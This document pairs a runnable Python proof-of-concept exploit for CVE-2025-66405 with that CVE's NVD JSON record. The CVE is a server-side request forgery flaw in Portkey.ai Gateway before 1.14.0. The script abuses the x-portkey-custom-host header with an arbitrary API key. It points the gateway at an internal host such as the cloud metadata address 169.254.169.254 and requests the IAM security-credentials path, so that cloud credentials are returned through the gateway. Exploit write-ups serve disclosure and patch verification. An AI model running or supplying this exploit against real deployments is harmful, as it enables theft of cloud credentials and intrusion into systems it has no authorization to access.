CVE-2025-66405

# CVE-2025-66405 PoC - SSRF via x-portkey-custom-host header # Target: Portkey.ai Gateway < 1.14.0 import requests import sys def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in Portkey.ai Gateway by abusing x-portkey-custom-host header """ # Target internal service (e.g., cloud metadata endpoint) headers = { 'x-portkey-custom-host': internal_target, 'x-portkey-api-key': 'anything', # Any API key works } # Path to request on the target internal service path = '/latest/meta-data/iam/security-credentials/' try: response = requests.get( f'{target_url}/v1/chat/completions', headers=headers, params={'path': path}, timeout=10 ) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') return response except requests.exceptions.RequestException as e: print(f'Request failed: {e}') return None # Example usage if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python poc.py <gateway_url> <internal_target>') print('Example: python poc.py http://target:8787 http://169.254.169.254') sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)

{"cve": {"id": "CVE-2025-66405", "sourceIdentifier": "[email protected]", "published": "2025-12-01T23:15:53.567", "lastModified": "2026-02-20T21:21:26.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Portkey.ai Gateway is a blazing fast AI Gateway with integrated guardrails. Prior to 1.14.0, the gateway determined the destination baseURL by prioritizing the value in the x-portkey-custom-host request header. The proxy route then appends the client-specified path to perform an external fetch. This can be maliciously used by users for SSRF attacks. This vulnerability is fixed in 1.14.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:portkey:gateway:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.14.0", "matchCriteriaId": "E3FF74D8-FE7A-4C3D-A94D-0A61109D43A9"}]}]}], "references": [{"url": "https://github.com/Portkey-AI/gateway/commit/b5a7825ba5f4e6918deb32d9969899ce2229a885", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Portkey-AI/gateway/pull/1372", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/Portkey-AI/gateway/security/advisories/GHSA-hhh5-2cvx-vmfp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}